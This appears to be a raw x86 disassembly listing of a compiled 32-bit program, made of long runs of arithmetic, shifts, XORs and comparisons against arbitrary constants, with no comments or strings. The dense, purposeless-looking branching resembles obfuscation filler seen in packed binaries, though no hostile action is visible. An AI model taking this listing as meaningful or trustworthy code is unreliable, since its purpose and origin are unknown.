mov eax, dword [0x4fa97c]
mov word [eax], dx
mov ecx, dword [ebp - 0x688c]
mov edx, dword [ecx]
or edx, dword [ebp - 0x1a8c]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6b84]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xae84]
sar edx, cl
mov dword [ebp - 0x740c], edx
mov eax, dword [ebp - 0xae84]
mov ecx, dword [0x4f8004]
shl eax, cl
mov ecx, dword [ebp - 0xe278]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5108]
mov eax, dword [ebp - 0x54c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2c8c]
and edx, dword [ebp - 0xfdd0]
mov eax, dword [ebp - 0xac2c]
mov dword [eax], edx
movsx ecx, word [0x4fa540]
movsx edx, word [ebp - 0xfbf8]
add ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
movsx ecx, byte [ebp - 0x30bd]
movsx edx, byte [ebp - 0xd0a1]
sub ecx, edx
mov byte [ebp - 0x88cd], cl
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10914]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
movzx ecx, byte [ebp - 0x1675]
sub ecx, 0xcf
mov byte [0x4f8002], cl
mov edx, dword [ebp - 0x31b4]
mov eax, dword [ebp - 0x2e60]
add eax, dword [edx]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb0bc]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6178]
mov dword [ebp - 0xb204], eax
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
mov eax, dword [0x4faeac]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0xb0fc]
mov byte [eax], dl
movzx ecx, word [ebp - 0xa264]
movzx edx, word [ebp - 0xf2c8]
and ecx, edx
mov eax, dword [ebp - 0xdc1c]
mov word [eax], cx
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xae84]
shl edx, cl
mov dword [ebp - 0x92b0], edx
mov eax, dword [ebp - 0xe5c8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x3d3c]
mov dword [ebp - 0x1a8c], ecx
mov edx, dword [ebp - 0x49d8]
mov eax, dword [ebp - 0xfdd0]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [0x4fa9b8]
mov eax, dword [ebp - 0x2898]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x740c], edx
movzx eax, word [ebp - 0x10914]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
sub eax, edx
mov word [section..data], ax
jmp 0x408463
mov eax, dword [ebp - 0x5034]
movsx ecx, word [eax]
mov dword [ebp - 0x1154c], ecx
cmp dword [ebp - 0x1154c], 0x6800
je 0x4087dd
jmp 0x408884
lea edx, [ebp - 0x1675]
mov dword [ebp - 0x7830], edx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1a8c]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0xac2c]
mov eax, dword [edx]
mov dword [ebp - 0x11550], eax
cmp dword [ebp - 0x11550], 0xd7f807a
je 0x408825
cmp dword [ebp - 0x11550], 0x6438ab29
je 0x408867
jmp 0x40887f
mov ecx, dword [0x4fa9b8]
mov edx, dword [ecx]
and edx, dword [ebp - 0xfdd0]
mov dword [ebp - 0x6b24], edx
movsx eax, word [ebp - 0xfbf8]
movsx ecx, word [ebp - 0x99e8]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
mov eax, dword [ebp - 0x31b4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2e60]
call section..text
jmp 0x40887f
mov ecx, dword [ebp - 0xb0fc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x30bd]
add edx, eax
mov byte [ebp - 0x88cd], dl
jmp 0x408964
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
mov dword [ebp - 0x11554], edx
cmp dword [ebp - 0x11554], 0x637
je 0x4088e9
cmp dword [ebp - 0x11554], 0x65d
je 0x4088b0
jmp 0x408964
mov eax, dword [ebp - 0xdc1c]
movzx ecx, word [eax]
mov edx, dword [0x4fa97c]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0xdc1c]
mov word [edx], cx
mov eax, dword [ebp - 0x7830]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x1675]
add ecx, edx
mov eax, dword [ebp - 0x7830]
mov byte [eax], cl
jmp 0x408964
mov ecx, dword [ebp - 0x7830]
mov dl, byte [ecx]
mov byte [ebp - 0x11558], dl
cmp byte [ebp - 0x11558], 0x5d
je 0x40890b
cmp byte [ebp - 0x11558], 0xb5
je 0x40894e
jmp 0x408964
mov eax, dword [ebp - 0xb0bc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x618c]
add ecx, dword [edx]
mov dword [ebp - 0x6178], ecx
mov eax, dword [ebp - 0xe278]
mov ecx, dword [eax]
sub ecx, dword [0x4f8008]
mov edx, dword [0x4fa9b8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x31b4]
mov ecx, dword [ecx]
call section..text
jmp 0x408964
mov edx, dword [ebp - 0xc2ec]
mov eax, dword [ebp - 0x6b24]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x6b84]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd6bc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x99e8]
xor edx, ecx
cmp eax, edx
jge 0x408a5c
mov dl, byte [0x4f9af2]
mov byte [ebp - 0x1155c], dl
cmp byte [ebp - 0x1155c], 0
je 0x4089ac
jmp 0x408a46
movzx eax, word [ebp - 0xe53c]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
or eax, edx
movzx ecx, word [ebp - 0x8c14]
movzx edx, word [ebp - 0x1b88]
and ecx, edx
cmp eax, ecx
je 0x4089e3
mov eax, dword [ebp - 0x7830]
movzx ecx, byte [eax]
push ecx
call fcn.00401340
jmp 0x408a44
lea edx, [ebp - 0x6178]
mov dword [ebp - 0x9364], edx
mov eax, dword [ebp - 0x49d8]
mov ecx, dword [ebp - 0xac2c]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x4138]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xe53c]
sub ecx, edx
mov eax, dword [ebp - 0x110b8]
mov word [eax], cx
mov ecx, dword [ebp - 0x7830]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1675]
sub edx, eax
mov byte [ebp - 0xa121], dl
mov ecx, dword [ebp - 0x740c]
mov dword [ebp - 0xdb10], ecx
jmp 0x408a5a
mov edx, dword [ebp - 0x618c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2e60]
mov dword [ebp - 0x1140], eax
jmp 0x408acd
mov ecx, dword [0x4faeac]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x88cd]
shl edx, cl
movsx eax, byte [ebp - 0x30bd]
mov ecx, dword [ebp - 0x4e64]
movsx ecx, byte [ecx]
sar eax, cl
cmp edx, eax
jge 0x408acd
mov edx, dword [ebp - 0xac2c]
mov eax, dword [ebp - 0x49d8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2898]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc2ec]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xfdd0]
mov dword [0x4f8004], ecx
mov edx, dword [ebp - 0xdc1c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4138]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0xc788]
mov word [ecx], ax
mov edx, dword [ebp - 0xb0fc]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4e64]
movsx ecx, byte [ecx]
shl eax, cl
movsx edx, byte [ebp - 0x88cd]
movsx ecx, byte [ebp - 0x30bd]
xor edx, ecx
cmp eax, edx
jg 0x4edf19
movzx edx, word [section..data]
mov dword [ebp - 0x11560], edx
cmp dword [ebp - 0x11560], 0
je 0x408b24
cmp dword [ebp - 0x11560], 0x760
je 0x408bb3
jmp 0x408bc2
mov al, byte [ebp - 0x1675]
mov byte [ebp - 0x11564], al
cmp byte [ebp - 0x11564], 0x6f
je 0x408b9d
cmp byte [ebp - 0x11564], 0xd8
je 0x408b44
jmp 0x408bb1
mov ecx, dword [ebp - 0x6208]
mov edx, dword [ebp - 0xe278]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [0x4f8008], eax
mov ecx, dword [0x4fa9b8]
mov edx, dword [ebp - 0xfdd0]
add edx, dword [ecx]
mov eax, dword [ebp - 0xac2c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6178]
push ecx
mov edx, dword [ebp - 0xe278]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x3514]
push ecx
movzx edx, word [ebp - 0x77a0]
push edx
movzx eax, word [ebp - 0xf2c8]
push eax
call fcn.004010a0
jmp 0x408bb1
mov ecx, dword [ebp - 0xfdd0]
sub ecx, dword [ebp - 0x2c8c]
mov edx, dword [ebp - 0xe278]
mov dword [edx], ecx
jmp 0x408bc2
mov eax, dword [ebp - 0x7830]
movzx ecx, byte [eax]
push ecx
call fcn.00401340
mov edx, dword [ebp - 0x2e60]
sub edx, dword [ebp - 0x1140]
mov eax, dword [ebp - 0xe5c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ebp - 0xe364]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ebp - 0xb204]
mov ecx, dword [ecx]
shr edx, cl
cmp eax, edx
jae 0x408c2f
movzx eax, byte [ebp - 0xa121]
mov ecx, dword [ebp - 0x7830]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x1675], al
movzx eax, word [ebp - 0xe53c]
mov ecx, dword [ebp - 0x778]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4138]
mov word [ecx], ax
movzx edx, word [section..data]
mov eax, dword [ebp - 0x13a4]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x110b8]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x778]
movzx eax, word [eax]
sub ecx, eax
cmp edx, ecx
jge 0x408c80
mov ecx, dword [ebp - 0x6b24]
sub ecx, dword [0x4f8004]
mov dword [ebp - 0x740c], ecx
mov edx, dword [ebp - 0xe364]
mov edx, dword [edx]
mov eax, dword [ebp - 0x9364]
mov ecx, dword [eax]
call section..text
lea ecx, [ebp - 0xae84]
mov dword [ebp - 0x2b38], ecx
mov edx, dword [ebp - 0x9364]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb0bc]
add eax, dword [ecx]
mov edx, dword [ebp - 0xe5c8]
mov dword [edx], eax
mov eax, dword [ebp - 0x1f94]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x740c]
mov dword [0x4f800c], ecx
mov edx, dword [ebp - 0x2e60]
mov dword [ebp - 0x11568], edx
cmp dword [ebp - 0x11568], 0
je 0x408cd2
jmp 0x4ede88
mov eax, dword [ebp - 0x688c]
mov ecx, dword [ebp - 0x9364]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xb204]
mov ecx, dword [ebp - 0x2e60]
shl eax, cl
cmp edx, eax
jbe 0x408d8d
mov ecx, dword [ebp - 0x49d8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x740c]
mov eax, dword [ebp - 0xc2ec]
mov dword [eax], edx
mov ecx, dword [ebp - 0xe278]
mov edx, dword [ecx]
mov dword [ebp - 0x1156c], edx
cmp dword [ebp - 0x1156c], 0x3d4318ae
je 0x408d2a
jmp 0x408d73
mov eax, dword [ebp - 0x7830]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xa121]
sub ecx, edx
mov eax, dword [ebp - 0x7830]
mov byte [eax], cl
movzx ecx, word [ebp - 0xfd44]
mov edx, dword [ebp - 0xdc1c]
movzx eax, word [edx]
add ecx, eax
mov word [section..data], cx
mov ecx, dword [ebp - 0x1a8c]
sub ecx, dword [ebp - 0xb204]
mov edx, dword [ebp - 0xb0bc]
mov dword [edx], ecx
jmp 0x408d88
mov eax, dword [ebp - 0x618c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xb0bc]
mov ecx, dword [ecx]
call section..text
jmp 0x408e40
mov edx, dword [ebp - 0x5108]
mov eax, dword [ebp - 0xdb10]
add eax, dword [edx]
mov dword [ebp - 0xae84], eax
mov ecx, dword [ebp - 0x2c8c]
mov dword [ebp - 0x11570], ecx
cmp dword [ebp - 0x11570], 0x4001f
je 0x408dc7
cmp dword [ebp - 0x11570], 0x7bcd99a8
je 0x408e27
jmp 0x408e40
movsx edx, word [ebp - 0xfbf8]
mov dword [ebp - 0x11574], edx
cmp dword [ebp - 0x11574], 0x396a
je 0x408dee
cmp dword [ebp - 0x11574], 0x624f
je 0x408e11
jmp 0x408e25
mov eax, dword [ebp - 0x54c]
add eax, dword [0x4f8004]
mov ecx, dword [ebp - 0x7b40]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x88cd]
push edx
call fcn.004eebb0
jmp 0x408e25
mov eax, dword [ebp - 0x688c]
mov ecx, dword [ebp - 0x6178]
and ecx, dword [eax]
mov dword [ebp - 0x2e60], ecx
jmp 0x408e40
movzx edx, word [ebp - 0xf2c8]
movzx eax, word [section..data]
sub edx, eax
mov ecx, dword [ebp - 0xc788]
mov word [ecx], dx
mov edx, dword [ebp - 0x2c8c]
mov dword [ebp - 0x11578], edx
cmp dword [ebp - 0x11578], 0x4001f
je 0x408e69
cmp dword [ebp - 0x11578], 0x7bec94af
je 0x408ec5
jmp 0x408f52
lea eax, [ebp - 0xa121]
mov dword [ebp - 0xaed0], eax
mov ecx, dword [ebp - 0xae84]
mov dword [ebp - 0x9ba8], ecx
mov edx, dword [0x4fa9b8]
mov eax, dword [ebp - 0x3514]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0xe278]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd6bc]
mov ax, word [edx]
mov word [0x4fa6c8], ax
lea ecx, [ebp - 0x88cd]
mov dword [ebp - 0x5a4], ecx
lea edx, [ebp - 0xa121]
mov dword [ebp - 0xfe34], edx
jmp 0x408f52
mov eax, dword [ebp - 0xdc1c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0xa264], cx
mov ecx, dword [ebp - 0x6178]
mov dword [ebp - 0x1157c], ecx
cmp dword [ebp - 0x1157c], 0x960cb89d
je 0x408efa
jmp 0x408f3c
mov edx, dword [ebp - 0x618c]
mov eax, dword [ebp - 0x3d3c]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x31b4]
mov eax, dword [edx]
xor eax, dword [ebp - 0xb204]
mov dword [ebp - 0x1140], eax
mov ecx, dword [ebp - 0x3514]
sub ecx, dword [ebp - 0xfdd0]
mov edx, dword [ebp - 0xc2ec]
mov dword [edx], ecx
jmp 0x408f52
mov eax, dword [ebp - 0x6208]
mov ecx, dword [0x4fa9b8]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x2898]
mov ecx, dword [eax]
mov dword [ebp - 0xf2f8], ecx
mov dl, byte [ebp - 0x1675]
mov byte [ebp - 0x5641], dl
movsx eax, word [ebp - 0xfbf8]
mov dword [ebp - 0x11580], eax
cmp dword [ebp - 0x11580], 0
je 0x408f87
jmp 0x409038
mov ecx, dword [ebp - 0xc788]
movzx edx, word [ecx]
movzx eax, word [section..data]
sub edx, eax
mov word [0x4f8010], dx
movzx ecx, word [ebp - 0xe53c]
mov dword [ebp - 0x11584], ecx
cmp dword [ebp - 0x11584], 0x6b4
je 0x408fc7
cmp dword [ebp - 0x11584], 0xdd2
je 0x40901d
jmp 0x409033
mov edx, dword [ebp - 0xe5c8]
mov eax, dword [edx]
sub eax, dword [ebp - 0xb204]
mov ecx, dword [ebp - 0x9364]
mov dword [ecx], eax
movsx edx, word [ebp - 0x77a0]
mov dword [ebp - 0x11588], edx
cmp dword [ebp - 0x11588], 0x6901
je 0x408ff8
jmp 0x409007
movzx eax, byte [0x4f9af2]
push eax
call fcn.004eebb0
jmp 0x40901b
mov ecx, dword [ebp - 0x5108]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x54c]
mov dword [ebp - 0x92b0], edx
jmp 0x409033
mov eax, dword [ebp - 0x6b84]
mov ecx, dword [ebp - 0x54c]
add ecx, dword [eax]
mov edx, dword [ebp - 0x6208]
mov dword [edx], ecx
jmp 0x40913e
mov eax, dword [ebp - 0x5a4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0xd0a1]
add ecx, edx
mov eax, dword [ebp - 0xb0fc]
movsx edx, byte [eax]
movsx eax, byte [ebp - 0x30bd]
sub edx, eax
cmp ecx, edx
je 0x40910e
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ebp - 0xb204]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x31b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0xaed0]
mov dl, byte [ecx]
mov byte [ebp - 0x1158c], dl
cmp byte [ebp - 0x1158c], 0xb
je 0x409093
jmp 0x4090f4
mov eax, dword [ebp - 0x13a4]
movzx edx, word [eax]
movzx ecx, word [ebp - 0xf2c8]
sar edx, cl
mov word [ebp - 0xfd44], dx
movzx eax, byte [ebp - 0x1675]
movzx ecx, byte [0x4f8002]
shl eax, cl
mov ecx, dword [ebp - 0xaed0]
mov byte [ecx], al
mov edx, dword [ebp - 0x9364]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0xf2f8]
push ecx
mov edx, dword [ebp - 0x6208]
mov eax, dword [edx]
push eax
movzx ecx, word [ebp - 0x77a0]
push ecx
movzx edx, word [ebp - 0xe53c]
push edx
call fcn.004010a0
jmp 0x40910c
movsx eax, byte [ebp - 0x88cd]
movsx ecx, byte [ebp - 0x30bd]
or eax, ecx
mov edx, dword [ebp - 0xb0fc]
mov byte [edx], al
jmp 0x40913e
mov eax, dword [ebp - 0xb0bc]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x9ba8]
push edx
mov eax, dword [ebp - 0x2b38]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x77a0]
push edx
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
push ecx
call fcn.004010a0
mov edx, dword [ebp - 0x688c]
mov eax, dword [ebp - 0x2e60]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ebp - 0x3d3c]
add edx, dword [ecx]
cmp eax, edx
jb 0x4edd42
mov eax, dword [ebp - 0x6208]
mov ecx, dword [0x4f8008]
and ecx, dword [eax]
mov edx, dword [ebp - 0xe278]
mov dword [edx], ecx
movzx eax, byte [ebp - 0xa121]
mov ecx, dword [ebp - 0xfe34]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x5641], al
lea eax, [ebp - 0x1b88]
mov dword [0x4f99b0], eax
mov ecx, dword [ebp - 0x8148]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x99e8]
add edx, eax
movsx ecx, word [ebp - 0x77a0]
movsx eax, word [ebp - 0xfbf8]
and ecx, eax
cmp edx, ecx
jne 0x40922b
mov ecx, dword [ebp - 0x31b4]
mov edx, dword [ebp - 0xb204]
add edx, dword [ecx]
mov dword [ebp - 0x1140], edx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xe278]
add ecx, dword [edx]
mov eax, dword [ebp - 0x7b40]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x740c]
sub ecx, dword [0x4f8004]
mov edx, dword [ebp - 0x5108]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2b38]
mov ecx, dword [ebp - 0x49d8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0xf2f8], edx
mov eax, dword [ebp - 0xf2f8]
sub eax, dword [ebp - 0x9ba8]
mov ecx, dword [ebp - 0xe278]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd6bc]
mov ax, word [edx]
mov word [ebp - 0xb114], ax
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x88cd]
xor edx, eax
mov byte [ebp - 0x30bd], dl
lea ecx, [ebp - 0xa121]
mov dword [ebp - 0x90b4], ecx
lea edx, [ebp - 0x8c14]
mov dword [0x4f9a58], edx
movsx eax, word [ebp - 0xfbf8]
mov dword [ebp - 0x11590], eax
cmp dword [ebp - 0x11590], 0x3900
je 0x409289
jmp 0x40931d
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
mov dword [ebp - 0x11594], edx
cmp dword [ebp - 0x11594], 0x6ee7
je 0x4092a6
jmp 0x4092d0
mov eax, dword [ebp - 0x618c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1140]
mov edx, dword [ebp - 0xb0bc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x740c]
add eax, dword [ebp - 0x6b24]
mov ecx, dword [ebp - 0x2b38]
mov dword [ecx], eax
mov edx, dword [0x4fa9b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xdb10]
sar eax, cl
mov dword [ebp - 0xfdd0], eax
mov ecx, dword [ebp - 0x4e64]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5a4]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [0x4faeac]
mov byte [eax], dl
movzx ecx, word [ebp - 0x1b88]
movzx edx, word [ebp - 0x8c14]
and ecx, edx
mov word [ebp - 0x10914], cx
jmp 0x4edbde
mov eax, dword [ebp - 0x5a4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x30bd]
add ecx, edx
mov byte [ebp - 0xd0a1], cl
mov eax, dword [ebp - 0x9364]
mov ecx, dword [eax]
mov dword [ebp - 0x11598], ecx
cmp dword [ebp - 0x11598], 0
je 0x409361
cmp dword [ebp - 0x11598], 0x114852c2
je 0x409430
jmp 0x4094df
movsx edx, word [ebp - 0x99e8]
movsx eax, word [0x4fa6c8]
add edx, eax
mov word [ebp - 0xb114], dx
lea ecx, [ebp - 0x5641]
mov dword [ebp - 0xc804], ecx
mov edx, dword [ebp - 0xac2c]
mov eax, dword [edx]
mov dword [ebp - 0x1159c], eax
cmp dword [ebp - 0x1159c], 0x66d8d70
je 0x4093ac
cmp dword [ebp - 0x1159c], 0x72c660b1
je 0x40941c
jmp 0x40942b
movzx ecx, word [ebp - 0xe53c]
mov dword [ebp - 0x115a0], ecx
cmp dword [ebp - 0x115a0], 0xd8c
je 0x4093c7
jmp 0x409406
movzx edx, word [ebp - 0x10914]
mov eax, dword [0x4fa97c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xf2c8], dx
mov edx, dword [ebp - 0xe364]
mov eax, dword [edx]
and eax, dword [ebp - 0x1a8c]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xb0fc]
movzx eax, byte [edx]
push eax
call fcn.004eebb0
jmp 0x40941a
mov ecx, dword [ebp - 0x54c]
sub ecx, dword [0x4f8008]
mov edx, dword [0x4fa9b8]
mov dword [edx], ecx
jmp 0x40942b
mov eax, dword [ebp - 0xaed0]
movzx ecx, byte [eax]
push ecx
call fcn.00401340
jmp 0x4094df
mov edx, dword [ebp - 0xc2ec]
mov eax, dword [edx]
add eax, dword [ebp - 0xdb10]
mov dword [ebp - 0x2c8c], eax
mov ecx, dword [ebp - 0x6178]
mov dword [ebp - 0x115a4], ecx
cmp dword [ebp - 0x115a4], 0x5b006887
je 0x409482
cmp dword [ebp - 0x115a4], 0xe24beb90
je 0x40946a
jmp 0x4094c4
mov edx, dword [ebp - 0x9364]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1a8c]
mov ecx, dword [ebp - 0x688c]
mov dword [ecx], eax
jmp 0x4094c4
mov edx, dword [ebp - 0x2898]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xfdd0]
shl eax, cl
mov dword [ebp - 0x3514], eax
mov ecx, dword [ebp - 0xb204]
push ecx
mov edx, dword [ebp - 0x54c]
push edx
mov eax, dword [ebp - 0x5108]
mov ecx, dword [eax]
push ecx
movzx edx, word [ebp - 0x77a0]
push edx
movzx eax, word [section..data]
push eax
call fcn.004010a0
movzx ecx, word [ebp - 0xfd44]
mov edx, dword [ebp - 0x778]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x13a4]
mov word [edx], cx
mov eax, dword [ebp - 0xc804]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x1675]
sar edx, cl
mov eax, dword [ebp - 0xfe34]
mov byte [eax], dl
mov ecx, dword [ebp - 0x13a4]
movzx edx, word [ecx]
movzx eax, word [0x4f8010]
or edx, eax
movzx ecx, word [ebp - 0xa264]
movzx eax, word [ebp - 0x10914]
and ecx, eax
cmp edx, ecx
jne 0x4edb1e
mov ecx, dword [ebp - 0xc804]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1675]
or edx, eax
movzx ecx, byte [ebp - 0xa121]
mov eax, dword [ebp - 0xaed0]
movzx eax, byte [eax]
xor ecx, eax
cmp edx, ecx
jl 0x409678
mov ecx, dword [ebp - 0x618c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x2e60]
shr edx, cl
mov eax, dword [ebp - 0x6178]
mov ecx, dword [ebp - 0x1140]
shl eax, cl
cmp edx, eax
jb 0x409653
mov edx, dword [ebp - 0xfdd0]
add edx, dword [ebp - 0x9ba8]
mov eax, dword [ebp - 0x5108]
mov dword [eax], edx
mov ecx, dword [0x4f800c]
and ecx, dword [ebp - 0x740c]
mov edx, dword [ebp - 0xc2ec]
mov dword [edx], ecx
lea eax, [ebp - 0x1140]
mov dword [ebp - 0xaa64], eax
mov ecx, dword [ebp - 0x5034]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x99e8]
sar edx, cl
movsx eax, word [0x4fa540]
movsx ecx, word [ebp - 0xfbf8]
xor eax, ecx
cmp edx, eax
je 0x40974e
mov ecx, dword [ebp - 0x110b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0xa264]
and edx, eax
mov word [ebp - 0x10914], dx
mov ecx, dword [ebp - 0xaed0]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x7830]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0xaed0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x1f94]
mov edx, dword [ecx]
mov dword [ebp - 0x116e4], edx
cmp dword [ebp - 0x116e4], 0xc41b24a
je 0x4edb7b
cmp dword [ebp - 0x116e4], 0x111b5e79
je 0x4edbb7
mov eax, dword [ebp - 0xdb10]
sub eax, dword [ebp - 0x740c]
mov dword [ebp - 0x9ba8], eax
mov ecx, dword [ebp - 0xe364]
mov edx, dword [ecx]
add edx, dword [ebp - 0xb204]
mov eax, dword [ebp - 0x618c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xf2f8]
sub ecx, dword [ebp - 0x2c8c]
mov dword [ebp - 0xfdd0], ecx
jmp 0x4edbde
mov edx, dword [ebp - 0xdc1c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc788]
movzx ecx, word [ecx]
sar eax, cl
movzx edx, word [ebp - 0xfd44]
mov ecx, dword [ebp - 0x13a4]
movzx ecx, word [ecx]
or edx, ecx
cmp eax, edx
jl 0x4edc0a
jmp 0x4edc22
mov edx, dword [ebp - 0xc2ec]
mov eax, dword [ebp - 0x92b0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x2898]
mov dword [ecx], eax
mov edx, dword [ebp - 0x31b4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xe5c8]
add eax, dword [ecx]
mov edx, dword [ebp - 0x688c]
mov ecx, dword [edx]
sub ecx, dword [ebp - 0x1a8c]
cmp eax, ecx
je 0x4edd03
mov edx, dword [ebp - 0x90b4]
mov al, byte [edx]
mov byte [ebp - 0x116e8], al
cmp byte [ebp - 0x116e8], 0x98
je 0x4edc64
jmp 0x4edceb
mov ecx, dword [ebp - 0x1140]
and ecx, dword [ebp - 0xb204]
mov edx, dword [ebp - 0x31b4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x688c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x1a8c]
mov dword [ebp - 0x1140], ecx
mov edx, dword [ebp - 0xfe34]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x5641]
add eax, ecx
mov edx, dword [ebp - 0xfe34]
mov byte [edx], al
movzx eax, word [ebp - 0x10914]
movzx ecx, word [ebp - 0x8c14]
sub eax, ecx
mov word [ebp - 0xfd44], ax
mov edx, dword [ebp - 0x3d3c]
push edx
mov eax, dword [ebp - 0xdb10]
push eax
mov ecx, dword [ebp - 0x3514]
push ecx
movzx edx, word [ebp - 0x77a0]
push edx
mov eax, dword [ebp - 0xc788]
movzx ecx, word [eax]
push ecx
call fcn.004010a0
jmp 0x4edd01
mov edx, dword [ebp - 0xe278]
